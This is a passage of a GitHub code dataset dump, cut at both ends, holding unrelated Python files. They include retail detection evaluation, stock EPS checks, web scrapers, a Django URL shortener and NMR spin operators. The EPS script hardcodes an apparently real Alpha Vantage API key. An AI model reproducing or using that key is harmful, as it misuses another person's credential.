\")\n button.clicked.connect(p)\n text1.setGeometry(20,50,400,50) \n text2.setGeometry(500,50,400,50) \n testResult.setGeometry(20,150,400,50) \n labelData.setText(\"Data:\")\n labelData.setGeometry(20,10,400,50) \n labelKey.setText(\"Key(16Byte is necessary):\")\n labelKey.setGeometry(500,10,400,50)\n labelResult.setText(\"Result:\")\n labelResult.setGeometry(20,110,400,50) \n mywindows.show()\n # app.exec_()\n sys.exit(app.exec_())\n","repo_name":"TsongLing5/Hmac256","sub_path":"Hmac256.py","file_name":"Hmac256.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"32933495827","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Nov 12 11:53:41 2018\n\n@author: yl\n\"\"\"\n#from evaluateByBbox import *\n#from evaluateByBbox import resJsps\n#from config import skuDf\nfrom boxx import *\nfrom boxx import loadjson, pd, Counter, p\nfrom boxx import reduce, add, ll, tree, os, pathjoin\n\nskuDf = pd.read_csv(os.path.abspath(pathjoin(__file__, '../../sku_info_generated.csv')))\n\n#resJsp = resJsps[0]\n#resJsp = r'c:/D/junk\\output\\valAsTrain_raw\\bbox_coco_2017_val_results.json'\n#resJsp = r'c:/D/junk\\output\\testAsTrain_raw\\bbox_coco_2017_val_results.json'\n#resJsp = r'c:/D/junk\\output\\mix_11_oldgan\\bbox_coco_2017_val_results.json'\nresJsp = \"/home/dl/junk/output/mix_11/inference/coco_format_val/bbox.json\"\nresJsp = \"/home/dl/junk/output/testAsTrain/inference/coco_format_val/bbox.json\"\nprint(resJsp)\nthre = .784321 # mix 11\nthre = 0.84 # testAsTrain\ndiff = 'easy'\n#diff = 'medium'\n#diff = 'hard'\ndiff = 'all'\n\ngetWrong = True\n#getWrong = False\n\nxuanMai = [i + 1 for i in [135,136,137]]\n\nif 1:\n valJsp = '../checkout_submission_tools/tmp_file_json/instances_test2017.json'\n coco = loadjson(valJsp)\n \n \n imgds = coco['images']\n imgdf = pd.DataFrame(imgds)\n imgdf = imgdf.set_index('id')\n imgdf['id'] = imgdf.index\n \n if diff!='all':\n imgdf = imgdf[imgdf['level'] == diff]\n imgIds = set(imgdf.id)\n \n gtanns = coco['annotations']\n gtdf = pd.DataFrame(gtanns)\n gtdf = gtdf[gtdf.image_id.isin(imgIds)]\n# gtdf['level'] = gtdf.image_id.apply(lambda idd: imgdf.loc[idd]['level'])\n gtdf['fname'] = gtdf.image_id.apply(lambda idd: imgdf.loc[idd]['file_name'])\n \n rebboxs = loadjson(resJsp)\n redf = pd.DataFrame(rebboxs)\n redf = redf[redf.score>thre]\n redf = redf[redf.image_id.isin(imgIds)]\n redf['fname'] = redf.image_id.apply(lambda idd: imgdf.loc[idd]['file_name'])\n \n \n # TODO\n reImgIds = set(redf.image_id)\n if imgIds - reImgIds:\n print(\"less in bbox.json\")\n tree(imgIds - reImgIds)\n gtdf = gtdf[gtdf.image_id.isin(reImgIds)]\n \n\ndef getCnNameByCatId(catId, ):\n return skuDf.loc[catId-1]['name']\ndef getCounter(name, all=False):\n imgId = imgdf[imgdf.file_name.apply(lambda x:name in x )].iloc[0].id\n gt, re = Counter(gtdf[gtdf.image_id==imgId].category_id.apply(getCnNameByCatId)), Counter(redf[redf.image_id==imgId].category_id.apply(getCnNameByCatId))\n if all:\n return gt, re\n return gt-re, re-gt\n \ngtct = gtdf.groupby('fname').apply(lambda sdf: Counter(sdf.category_id))\nrect = redf.groupby('fname').apply(lambda sdf: Counter(sdf.category_id))\n\ntopk = 100\n\nif getWrong:\n wrongsetdf = (rect-gtct)+(gtct-rect)\n wrongdf = wrongsetdf.apply(lambda ct:sum(ct.values()))\n wrongdf = wrongdf[wrongdf.apply(bool)]\n wrongdf = wrongdf.sort_values(ascending=False)\n \n #wrongsetdf[wrongsetdf.apply(lambda x:bool(len(set(x).intersection(xuanMai))))]\n \n \n wrongdf = wrongdf.iloc[:topk]\n \n cmd = '\\n'.join([f\"cp all_croped/{n} analysis/{diff}Wrong/{w}_{n} \" for n,w in wrongdf.items()])\n rscp = '\\n'.join([f\"scp bpp:/home/yanglei/dataset/checkout-data/check_image/all_croped/{n} {w}_{n} \" for n,w in wrongdf.items()])\nelse:\n rightdf = rect.apply(lambda ct:sum(ct.values()))\n rightdf = rightdf[gtct == rect]\n rightdf = rightdf.sort_values(ascending=False)\n rightdf = rightdf.iloc[:topk]\n cmd = '\\n'.join([f\"cp all_croped/{n} analysis/goodRight/{diff}_{w}_{n} \" for n,w in rightdf.items()])\n\n#p-cmd\n#print(cmd)\nif __name__ == \"__main__\":\n \n clasCd = reduce(add, wrongsetdf)\n \n badClas = sorted(clasCd.items(), key=lambda x: x[1])\n badClas = [(skuDf.loc[l[0]-1]['name'], l[1]) for l in badClas]\n tree - badClas\n pass\nif __name__ == \"__main__\":\n # save gt_bbox_clas_distri.xlsx\n # pd.DataFrame( sorted((Counter(gtdf.category_id)+Counter(gtdf2.category_id)).items(), key=lambda x:-x[1])).to_excel('tmp_file_gt_bbox_clas_distri.xlsx')\n \n \n clasMissCd = reduce(add, gtct-rect) # FN\n clasFpCd = reduce(add, rect-gtct)\n \n clasXls = pd.DataFrame(gtdf.groupby('category_id')['id'].count())\n clasXls['num'] = clasXls['id']\n clasXls.pop('id')\n \n clasXls['sku_class'] = clasXls.index.map(lambda x: skuDf.loc[x-1]['sku_class'])\n clasXls['sku_name'] = clasXls.index.map(lambda x: skuDf.loc[x-1]['sku_name'])\n def getCdDf(clasCd, tag):\n dic = dict(clasCd)\n for k in clasXls.index:\n if k not in dic:\n dic[k] = 0\n \n df = pd.DataFrame(ll-(dic.items()))\n df[['catId','cd']] = df[:]\n# df['cn'] = df.catId.apply(lambda idd:skuDf.loc[idd-1]['name'])\n# df['en'] = df.catId.apply(lambda idd:skuDf.loc[idd-1]['sku_name'])\n# df['clas'] = df.catId.apply(lambda idd:skuDf.loc[idd-1]['sku_class'])\n df = df.set_index('catId')\n clasXls[tag] = df['cd']/clasXls.num\n clasXls[tag+'_num'] = df['cd']\n return df\n getCdDf(clasFpCd, 'fp')\n getCdDf(clasMissCd, 'miss')\n clasXls['summ'] = clasXls.fp + clasXls.miss\n clasXls = clasXls.sort_values('summ', ascending=False)\n \n import matplotlib.pyplot as plt\n# plt.show([1,2])\n clasXls.summ.plot.bar()\n plt.show()\n \n badClas = sorted(clasCd.items(), key=lambda x:-x[1], )\n badClas = [(skuDf.loc[l[0]-1]['sku_name'], l[1]) for l in badClas]\n tree - badClas\n pass\n\n cid2ch = dict(zip(skuDf.category_id, skuDf['name']))\n clasXls['ch'] = clasXls.index.map(lambda x:cid2ch[x])\n\nif 1:\n pass\n K = 200\n imgCtDf = pd.DataFrame()\n imgCtDf['gtct'] = gtct\n imgCtDf['rect'] = rect\n \n counter2list = lambda ct: [ct.get(i, 0) for i in range(1, K+1)]\n imgCtDf['array'] = imgCtDf.apply(lambda d:np.array([counter2list(d.rect), counter2list(d.gtct),]) , 1) \n imgCtDf['maxx'] = imgCtDf['array'].apply(lambda arr: arr.max(0)) \n imgCtDf['minn'] = imgCtDf['array'].apply(lambda arr: arr.min(0))\n mciouMatrix = imgCtDf.minn.sum()/imgCtDf.maxx.sum()\n mciou = dict(enumerate(mciouMatrix, 1))\n clasXls['ciou'] = clasXls.index.map(lambda idd:mciou[idd])\n \n diffDf = (rect-gtct)+(gtct-rect)\n acdDf = diffDf.apply(lambda ct:sum(ct.values()))\n \n mccdDf = pd.Series(diffDf.sum())/pd.Series(gtct.sum())\n mccdDf = mccdDf.fillna(0)\n gtNumDf = gtct.apply(lambda ct:sum(ct.values()))\n evalDic = dicto(\n cAcc=(gtct == rect).mean(), \n mCIoU = mciouMatrix.mean(), \n ACD=acdDf.mean(), \n mCCD=mccdDf.mean(),\n )\n tree-evalDic\n plot(mciouMatrix,1)\n \n \n \n superClasXls = clasXls.groupby('sku_class').sum()\n superClasXls['fp'] = superClasXls.fp_num/superClasXls.num\n superClasXls['miss'] = superClasXls.miss_num/superClasXls.num\n superClasXls['summ'] = superClasXls.fp + superClasXls.miss\n superClasXls = superClasXls.sort_values('summ', ascending=False)\n \n# with pd.ExcelWriter('tmp_file.xlsx',engine='openpyxl') as f:\n# clasXls[['miss','fp']].to_excel(f, sheet_name='clasXls')\n# superClasXls[['miss','fp']].to_excel(f, sheet_name='superClasXls')\n fpdf = clasXls.sort_values(\"fp_num\", ascending=False).fp_num\n missdf = clasXls.sort_values(\"miss\", ascending=False).miss\n cioudf = clasXls.sort_values(\"ciou\", ascending=False).ciou\n \n \n supfpdf = superClasXls.sort_values(\"fp_num\", ascending=False).fp_num\n supmissdf = superClasXls.sort_values(\"miss\", ascending=False).miss\n supcioudf = superClasXls.sort_values(\"ciou\", ascending=False).ciou/clasXls.groupby('sku_class').num.count()\n \n with pd.ExcelWriter('tmp_file_rpc_pic.xlsx',engine='openpyxl') as f:\n fpdf.to_excel(f, sheet_name='fpClas')\n missdf.to_excel(f, sheet_name='missClas')\n cioudf.to_excel(f, sheet_name='ciouClas')\n \n supfpdf.to_excel(f, sheet_name='fpSuperClas')\n supmissdf.to_excel(f, sheet_name='missSuperClas')\n supcioudf.to_excel(f, sheet_name='ciouSuperClas')\n \n ","repo_name":"DIYer22/retail_product_checkout_tools","sub_path":"rpctool/evaluate_v1/analysisAndVis.py","file_name":"analysisAndVis.py","file_ext":"py","file_size_in_byte":7969,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"35"} +{"seq_id":"9497785550","text":"\"\"\"\nRender an IA agent to solve the gym problem\n\"\"\"\nimport typer\n\nfrom drltf.utils import setup_logger\nfrom drltf.core import Core\n\n\ndef main(n_envs: int = 1,\n model_name: str = \"vgoni-model\",\n models_path: str = \"models\"):\n\n typer.echo(f\"Running {__file__}\")\n\n core = Core(n_envs=n_envs, models_path=models_path)\n core.load_model(model_name)\n core.render()\n\n\nif __name__ == \"__main__\":\n setup_logger()\n typer.run(main)\n","repo_name":"vgonisanz/drltf","sub_path":"drltf/bin/render.py","file_name":"render.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"35751190214","text":"import requests\nimport time\nimport json\n\n# Replace 'YOUR_API_KEY' with your actual Alpha Vantage API key\napi_key = 'KPENG67GT2GIT9P7'\n\n# Define the stock symbol you want to retrieve data for\nsymbol = 'TSCO' # Replace with the desired stock symbol\n\nEPSvalues = []\n\n# Make API requests to fetch income statement data for the past 5 years\nurl = f'https://www.alphavantage.co/query?function=EARNINGS&symbol={symbol}&apikey={api_key}&datatype=csv'\nresponse = requests.get(url)\n \nif response.status_code == 200:\n data = response.text\n\n #for i in range(0,100):\n data_dict = json.loads(data)\n data_dict = data_dict[\"annualEarnings\"]\n for i in range(1,7):\n #print(data_dict[i][\"fiscalDateEnding\"])\n print(data_dict[i])\n EPSvalues.append(float(data_dict[i][\"reportedEPS\"]))\n \n #print(str(data[i]) + \" \" + str(i))\n # Extract the EPS value for the year (assuming it's in a consistent position in the CSV data)\n\nEPSvalues.reverse()\n\ndef has_eps_growth_over_years(eps_data):\n if len(eps_data) < 5:\n return False\n\n # Initialize a counter to keep track of years with growth >= 15%\n growth_count = 0\n\n for i in range(1, len(eps_data)):\n growth_percentage = ((eps_data[i] - eps_data[i-1]) / abs(eps_data[i-1])) * 100\n if growth_percentage >= 15:\n growth_count += 1\n\n # Check if there are at least 4 years with growth >= 15%\n if growth_count >= 4:\n return True\n else:\n return False\n\n# Sample EPS data\n\n# Check if there is at least 4 out of 5 years with >= 15% growth\nresult = has_eps_growth_over_years(EPSvalues)\n\nif result:\n print(\"There are at least 4 out of 5 years with >= 15% growth.\")\nelse:\n print(\"There are less than 4 years with >= 15% growth.\")\n\n # Sleep to comply with Alpha Vantage rate limits (5 requests per minute)\n\n","repo_name":"Owslebury/zulu","sub_path":"cups/eps.py","file_name":"eps.py","file_ext":"py","file_size_in_byte":1889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"31303331741","text":"import boto3\nfrom requests_aws4auth import AWS4Auth\nfrom elasticsearch import Elasticsearch, RequestsHttpConnection\n\n\nclass EasyElasticSearch:\n\tdef __init__(\n\t\t\tself,\n\t\t\thost,\n\t\t\tport,\n\t\t\tboto_session=None,\n\t\t\tregion='eu-west-1',\n\t\t\tprofile_name=None,\n\t\t\tmaxsize=30,\n\t\t\t**kwargs\n\t):\n\t\tboto_session = boto3.Session(profile_name=profile_name) if boto_session is None else boto_session\n\t\tcredentials = boto_session.get_credentials()\n\n\t\tawsauth = AWS4Auth(\n\t\t\tcredentials.access_key,\n\t\t\tcredentials.secret_key,\n\t\t\tregion,\n\t\t\t'es',\n\t\t\tsession_token=credentials.token\n\t\t)\n\t\tself.host = host\n\t\tself.port = port\n\n\t\tself.es = Elasticsearch(\n\t\t\thosts=[{'host': host, 'port': port}],\n\t\t\thttp_auth=awsauth,\n\t\t\tuse_ssl=True,\n\t\t\tverify_certs=True,\n\t\t\tconnection_class=RequestsHttpConnection,\n\t\t\tmaxsize=maxsize,\n\t\t\t**kwargs\n\t\t)\n\n\tdef get_elastic_client(self):\n\t\treturn self.es\n\n\tdef get(self, index, identifier, doc_type=None, metadata=True):\n\t\tresult = self.es.get(index=index, id=identifier, doc_type=doc_type)\n\t\treturn result if metadata else result['_source']\n\n\tdef index(self, index, body, identifier, doc_type=None):\n\t\treturn self.es.index(\n\t\t\tindex=index,\n\t\t\tbody=body,\n\t\t\tid=identifier,\n\t\t\tdoc_type=doc_type,\n\t\t)\n","repo_name":"npado/mds-easy-libs","sub_path":"easy/EasyElasticSearch.py","file_name":"EasyElasticSearch.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"12208861702","text":"import json\nimport csv\nimport time\nfrom web3 import Web3, HTTPProvider\nfrom web3.middleware import geth_poa_middleware\n\n# Set up the connection to the Arbitrum network\nprovider = HTTPProvider(\"https://arbitrum-mainnet.infura.io/v3/YOUR_INFURA_PROJECT_ID\")\nw3 = Web3(provider)\nw3.middleware_onion.inject(geth_poa_middleware, layer=0)\n\n# Load the DODO contract ABI\nwith open(\"dodo_abi.json\") as f:\n dodo_abi = json.load(f)\n\n# Initialize the DODO contract with the contract address\ndodo_contract_address = \"DODO_CONTRACT_ADDRESS\"\ndodo_contract = w3.eth.contract(address=dodo_contract_address, abi=dodo_abi)\n\n# Define the swap parameters\nfrom_token = \"0xfd086bc7cd5c481dcc9c85ebe478a1c0b69fcbb9\" # USDT token address\nto_token = \"0x2f2a2543b76a4166549f7aab2e75bef0aefc5b0f\" # wBTC token address\nfrom_token_amount = w3.toWei(100, \"gwei\") # Amount of USDT to swap (100 USDT)\n\n# Function to fetch price data\ndef get_price_data():\n price_data = dodo_contract.functions.querySellQuote(from_token, from_token_amount, to_token).call()\n return price_data\n\n# Function to store price data in a CSV file\ndef store_price_data_in_csv(price_data):\n with open(\"price_data.csv\", mode=\"a\", newline=\"\") as csvfile:\n fieldnames = [\"timestamp\", \"price\"]\n writer = csv.DictWriter(csvfile, fieldnames=fieldnames)\n\n # Write header if the file is empty\n if csvfile.tell() == 0:\n writer.writeheader()\n\n # Write price data\n timestamp = int(time.time())\n writer.writerow({\"timestamp\": timestamp, \"price\": price_data})\n\n# Fetch and store price data in a CSV file\nprice_data = get_price_data()\nstore_price_data_in_csv(price_data)\n\nprint(\"Price data successfully stored in price_data.csv\")","repo_name":"chiefkenkot/Production","sub_path":"crypto/Cross Exchange Market Making/Swap.py","file_name":"Swap.py","file_ext":"py","file_size_in_byte":1729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"187996716","text":"# Try and find the smallest item\n# Put it in the first position [0]\n# Everything to right will still be unsorted\n\nA = [8, 3, 2, 5, 4, 7, 9]\n\ndef sel(A):\n\tfor i in range (0, len(A) - 1):\n\t\tminIndex = i\n\t\tfor j in range (i+1, len(A)):\n\t\t\tif A[j] < A[minIndex]:\n\t\t\t\tminIndex = j\n\t\tif minIndex != i:\n\t\t\tA[i], A[minIndex] = A[minIndex], A[i]","repo_name":"soundestmammal/machineLearning","sub_path":"bootcamp/selection.py","file_name":"selection.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"35201824970","text":"import requests\nfrom threading import Timer\n\n# Function to retrieve data from DoubleMap API\ndef parse():\n r = requests.get('https://iub.doublemap.com/map/v2/buses')\n data = r.json()\n return data\n\n# Bus Longitude and Latitude \nclass Bus():\n def __init__(self, lon, lat, angle):\n self.lon = lon\n self.lat = lat\n self.angle = angle\n\n# Define the coordinates of Bloomington\nclass view():\n def __init__(self, xmin, xmax, ymin, ymax):\n self.xmin = xmin\n self.xmax = xmax\n self.ymin = ymin\n self.ymax = ymax\n\nbloom = view(-86.52846, -86.49543, 39.163165, 39.186316)\n\n# Convert one type of unit to another\ndef convert(a1, b1, a2, b2, a):\n x = ((a2 - a) * b1)\n y = ((a - a1) * b2)\n z = (a2 - a1)\n return ((x + y) / z)\n\nwidth = 770\nheight = 697\n\n# Return the bus coordinateds converted into numbers that fit screen aspect ratio \ndef cartToScreen(view, bus):\n bus_lon = convert(view.xmin, 0, view.xmax, width, bus.lon)\n bus_lat = convert(view.ymin, height, view.ymax, 0, bus.lat)\n return Bus(bus_lon, bus_lat, bus.angle)\n\nbuses = []\n\ncancel = False\n\n# Function to get all bus locations every 5 seconds from the API\ndef updater():\n buses.clear()\n if cancel:\n return\n else:\n for bus in parse():\n init_bus = Bus(bus[\"lon\"], bus[\"lat\"], bus[\"heading\"])\n final_bus = cartToScreen(bloom, init_bus)\n buses.append(final_bus)\n\n t = Timer(5.0, updater)\n t.start()\n return buses\n\n","repo_name":"abeleinin/doublemap-bloomington","sub_path":"get_data.py","file_name":"get_data.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"35930384569","text":"import heapq\n\nN, M = map(int, input().split())\nG = [[] for _ in range(N+1)]\nF = [False] * (N+1)\nfor i in range(M):\n a, b = map(int, input().split())\n G[a].append(b)\n G[b].append(a)\n\nQ = []\nF[1] = True\nheapq.heappush(Q, (0, 1))\nwhile len(Q) > 0:\n d, v = heapq.heappop(Q)\n\n for nv in G[v]:\n if not F[nv] and d < 2:\n F[nv] = True\n heapq.heappush(Q, (d+1, nv))\n\nif F[N]:\n print(\"POSSIBLE\")\nelse:\n print(\"IMPOSSIBLE\")\n","repo_name":"wonda-tea-coffee/competitive_programming.py","sub_path":"atcoder/arc079_a_2.py","file_name":"arc079_a_2.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"71662540581","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\nfrom concurrent.futures import ThreadPoolExecutor\r\n\r\n\r\nclass FiveSpider:\r\n def __init__(self, store):\r\n headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36',\r\n 'Referer': 'http://grzy.cug.edu.cn/jsjx.jsp?urltype=tree.TreeTempUrl&wbtreeid=1016'}\r\n\r\n self.session = requests.session()\r\n self.session.headers = headers\r\n self.urls = ['http://grzy.cug.edu.cn/luobiji/zh_CN/index.htm', 'http://grzy.cug.edu.cn/pengsongbo/zh_CN/index.htm']\r\n self.store = store\r\n\r\n def get_html(self, url):\r\n html = self.session.get(url)\r\n if html.status_code == 200:\r\n html.encoding = 'utf8'\r\n return html.text\r\n else:\r\n print(html.status_code)\r\n\r\n def parse(self, html, url):\r\n try:\r\n soup = BeautifulSoup(html, 'lxml')\r\n name = soup.select_one('.namebar.clearfix h2').text.strip()\r\n zhiCheng = soup.select('.zw')[0].text.strip()\r\n content = soup.select('.baseinfobar .ct p')\r\n time = None\r\n graduateSchool = None\r\n gender = None\r\n subject = None\r\n for c in content:\r\n r = c.text.strip().split('\\n')\r\n for r1 in r:\r\n if r1:\r\n r2 = r1.strip().split(':')\r\n # print(r2)\r\n if r2[0].strip() == '入职时间':\r\n time = r2[1]\r\n if r2[0].strip() == '毕业院校':\r\n graduateSchool = r2[1]\r\n if r2[0].strip() == '性别':\r\n gender = r2[1]\r\n if r2[0].strip() == '学科':\r\n subject = r2[1]\r\n # print('-'*50)\r\n # print(time, graduateSchool, gender, subject)\r\n # # print(zhiCheng)\r\n url_xmxx = 'http://grzy.cug.edu.cn/' + soup.select('#MenuBar1 li div div a')[1]['href']\r\n url_lwcg = 'http://grzy.cug.edu.cn/' + soup.select('#MenuBar1 li div div a')[4]['href']\r\n # print(url_xmxx)\r\n # print(url_lwcg)\r\n soup_xmxx = BeautifulSoup(self.get_html(url_xmxx), 'lxml')\r\n xmxx = \"\"\r\n # print(xmxx)\r\n soup_lwcg = BeautifulSoup(self.get_html(url_lwcg), 'lxml')\r\n content = soup_lwcg.select('.clearfix a h2')\r\n lwcg = \"\"\r\n for c in content:\r\n lwcg += ('- ' + c.text.strip() + '\\n')\r\n # print(lwcg)\r\n self.store.count += 1\r\n self.store.sheet.write(self.store.count, 0, self.store.count)\r\n self.store.sheet.write(self.store.count, 1, name)\r\n self.store.sheet.write(self.store.count, 2, time)\r\n self.store.sheet.write(self.store.count, 3, zhiCheng)\r\n self.store.sheet.write(self.store.count, 4, graduateSchool)\r\n self.store.sheet.write(self.store.count, 5, gender)\r\n self.store.sheet.write(self.store.count, 6, subject)\r\n self.store.sheet.write(self.store.count, 7, xmxx)\r\n self.store.sheet.write(self.store.count, 8, lwcg)\r\n self.store.sheet.write(self.store.count, 9, url)\r\n except:\r\n pass\r\n\r\n def run(self):\r\n with ThreadPoolExecutor(max_workers=5) as executor:\r\n [executor.submit(self.parse(self.get_html(url), url), url) for url in self.urls]\r\n # self.Excel_book.save('data.xls')\r\n\r\n","repo_name":"Lemon-cc-hang/spiderProjects","sub_path":"project/中国地质大学爬虫/Spider/five.py","file_name":"five.py","file_ext":"py","file_size_in_byte":3647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"71943120742","text":"from django.db import models\nimport hashlib\n\n\nclass Url(models.Model):\n \"\"\"\n url - url that user inserts into shortener\n short_url - hashed url that shortener use to make redirection\n created - datetime when it was created\n \"\"\"\n url = models.URLField(unique=True)\n short_url = models.URLField(db_index=True)\n created = models.DateTimeField(auto_now=True)\n\n @classmethod\n def create(cls, url):\n obj = cls.objects.filter(url=url).exists()\n if obj:\n return Url.objects.get(url=url), False\n else:\n url = cls(url=url, short_url=cls.hash_url(url))\n return url, True\n\n def __str__(self):\n return f'{self.url} | {self.short_url}'\n\n def get_short_url(self):\n return self.short_url\n\n class Meta:\n verbose_name = 'Ссылка'\n verbose_name_plural = 'Ссылки'\n\n @staticmethod\n def hash_url(input):\n if isinstance(input, str):\n return f'{hashlib.md5(input.encode(\"utf-8\")).hexdigest()[:8]}'\n else:\n raise TypeError('url must be a string!')\n","repo_name":"AVasilyev1998/LinkShortener","sub_path":"sh/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"24767707622","text":"import scraperwiki\nimport re\nfrom lxml import html\n\nurl = \"http://www.princegeorgescountymd.gov/sites/circuitcourt/sitepages/dailydocket.aspx\"\ndoc_text = scraperwiki.scrape(url)\ndoc = html.fromstring(doc_text)\n\nfor row in doc.cssselect(\"pre\"):\n\tpre_text = row.cssselect(\"pre\").pop()\n\tdocket = pre_text.text\n\tno_head = docket.replace(docket[:229], '')\n\t# cut off the header\n\tclean = re.sub(r\"(\\S)\\ {2,}(\\S)(\\n?)\", r\"\\1\\t\\2\\3\", no_head)\n\t# replaces white space with tab delimeter and adds line break\n\nwith open('data.tsv', 'w') as f:\n\tf.write(clean)","repo_name":"SMPA3193/team_1","sub_path":"scrape_docket.py","file_name":"scrape_docket.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"23876537644","text":"from collections import defaultdict\ndef solution(want, number, discount):\n # 할인품은 하루에 하나만 구매 가능\n # 10일간 회원자격\n # discount의 시작점 가능 범위 : i ~ len(disc) - 10\n wantMap = defaultdict(int)\n answer = 0\n \n for i in range(len(want)):\n wantMap[want[i]] = number[i]\n \n for i in range(len(discount)-10+1):\n discountMap = defaultdict(int)\n for e in discount[i:i+10]:\n discountMap[e] += 1\n\n flag = False\n for e in want:\n if not discountMap.get(e) or wantMap[e] > discountMap[e]:\n flag = True\n break\n if not flag : answer += 1\n return answer","repo_name":"wooryjoon/algorithms","sub_path":"프로그래머스/lv2/131127. 할인 행사/할인 행사.py","file_name":"할인 행사.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"1121814161","text":"from datetime import datetime\n\nfrom django import template\n\nregister = template.Library()\n\n\n@register.filter(name=\"split\")\ndef split(str, key):\n return str.split(key)[0]\n\n\n@register.filter(name=\"time\")\ndef timezone(time):\n now = datetime.now()\n time = time.split(\".\")[0].replace(\"T\", \" \").replace(\"Z\", \" \")\n time = datetime.strptime(time, \"%Y-%m-%d %H:%M:%S\")\n diff = str(now - time)\n if \"days\" in diff or \"day\" in diff:\n days = diff.split(\",\")[0].split()[0]\n if int(days) // 365 > 0:\n return str(int(days) // 365) + \"년 전\"\n elif int(days) // 30 > 0:\n return str(int(days) // 30) + \"달 전\"\n return days + \"일 전\"\n times = diff.split(\":\")\n if times[0] == \"0\":\n if times[1] == \"00\":\n if times[2][0] == \"0\":\n times[2] = times[2][-1]\n return times[2].split(\".\")[0] + \"초 전\"\n if times[1][0] == \"0\":\n times[1] = times[1][1]\n return times[1] + \"분 전\"\n return times[0] + \"시간 전\"\n","repo_name":"mungnpang/RR","sub_path":"render/templatetags/tags.py","file_name":"tags.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"39766346118","text":"import numpy as np\n\ndef getSmallIz(I):\n \"\"\"\n Gets the 1D representation of the Iz operator in Pauli form.\n\n Parameters\n ----------\n I: float\n Spin quantum number\n\n Returns\n -------\n ndarray:\n 1D numpy array with the Iz values\n \"\"\"\n return np.linspace(I, -I, int(I*2)+1)\n\ndef getLargeIz(SpinList, MatrixSize):\n \"\"\"\n Get Iz operator in total spin systems representation.\n\n Parameters\n ----------\n SpinList: list of spinCls objects\n All the spins of the system\n MatrixSize: int\n Full size of the system.\n\n Returns\n -------\n ndarray:\n 1D numpy array with the Iz values\n \"\"\"\n nSpins = len(SpinList)\n IzList = np.zeros((nSpins, MatrixSize))\n for spin in range(nSpins):\n IList = []\n for subspin in range(nSpins):\n if spin == subspin:\n IList.append(SpinList[subspin].Iz)\n else:\n IList.append(SpinList[subspin].Ident)\n IzList[spin, :] = kronList(IList)\n return IzList\n\ndef getLargeIplus(SpinList, IzList, MatrixSize):\n \"\"\"\n Get Iplus operator in total spin systems representation.\n This is used for the J-Hamiltonian, as well as for the Ix terms of the detection\n (Ix = 0.5 * (Iplus + Iminus), but only the upper diagonal terms are needed, so\n Ix = 0.5 * Iplus)\n Also not that Imin = np.flipud(Iplus). This means that by having Iplus,\n we have both Ix,Iy,Iplus and Iminus\n\n Parameters\n ----------\n SpinList: list of spinCls objects\n All the spins of the system\n IpList: List of ndarrays\n The Iz operator for each spin\n MatrixSize: int\n Size of the full spin systems matrix\n\n Returns\n -------\n ndarray:\n 1D numpy array with the Iplus values\n \"\"\"\n IpList = np.zeros((len(SpinList), MatrixSize))\n orders = []\n for spin, _ in enumerate(SpinList):\n orders.append(np.prod([1] + [i.Length for i in SpinList[spin+1:]]))\n I = SpinList[spin].I\n #The 'sign' appears to be that of the Imin, but answer is correct. Sign inversion leads to\n #very bad results\n IpList[spin, :] = np.sqrt(I * (I + 1) - IzList[spin] * (IzList[spin] - 1))\n return IpList, orders\n\ndef getLargeIpSm(spin, subspin, IpList, Orders):\n \"\"\"\n Makes 0.5 * Iplus * Sminus line\n Returns None, None if the found order is equal to 0\n\n Parameters\n ----------\n spin: int\n Index of spin 1 (I)\n subspin: int:\n Index of spin 2 (S)\n IpList: List of ndarrays\n The Iz operator for each spin\n Orders: list\n List of the diagonal orders of each spin\n\n Returns\n -------\n ndarray:\n 1D numpy array with the 0.5*IpSm values\n int:\n Order of the diagonal\n \"\"\"\n order = Orders[spin] - Orders[subspin]\n if order != 0:\n Iplus = IpList[spin][:-order]\n Smin = np.flipud(IpList[subspin])[:-order] #Iminus is flipped Iplus\n Line = 0.5 * Iplus * Smin\n return Line, order\n return None, None\n\ndef kronList(List):\n \"\"\"\n Performs a Kronecker product of the list of numpy arrays that is supplied.\n\n Parameters\n ----------\n List: List of ndarrays\n The arrays for which the Kronecker product is needed\n\n Returns\n -------\n ndarray:\n 1D numpy array of the product\n \"\"\"\n M = 1\n for element in List:\n M = np.kron(M, element)\n return M\n\ndef getDetectRho(SpinList, IpList, Orders):\n \"\"\"\n Makes Detect and RhoZero lines for all spins together.\n Adds to detect only if the spin is detected\n\n Parameters\n ----------\n SpinList: list of spinCls objects\n All the spins of the system\n IpList: List of ndarrays\n The Iz operator 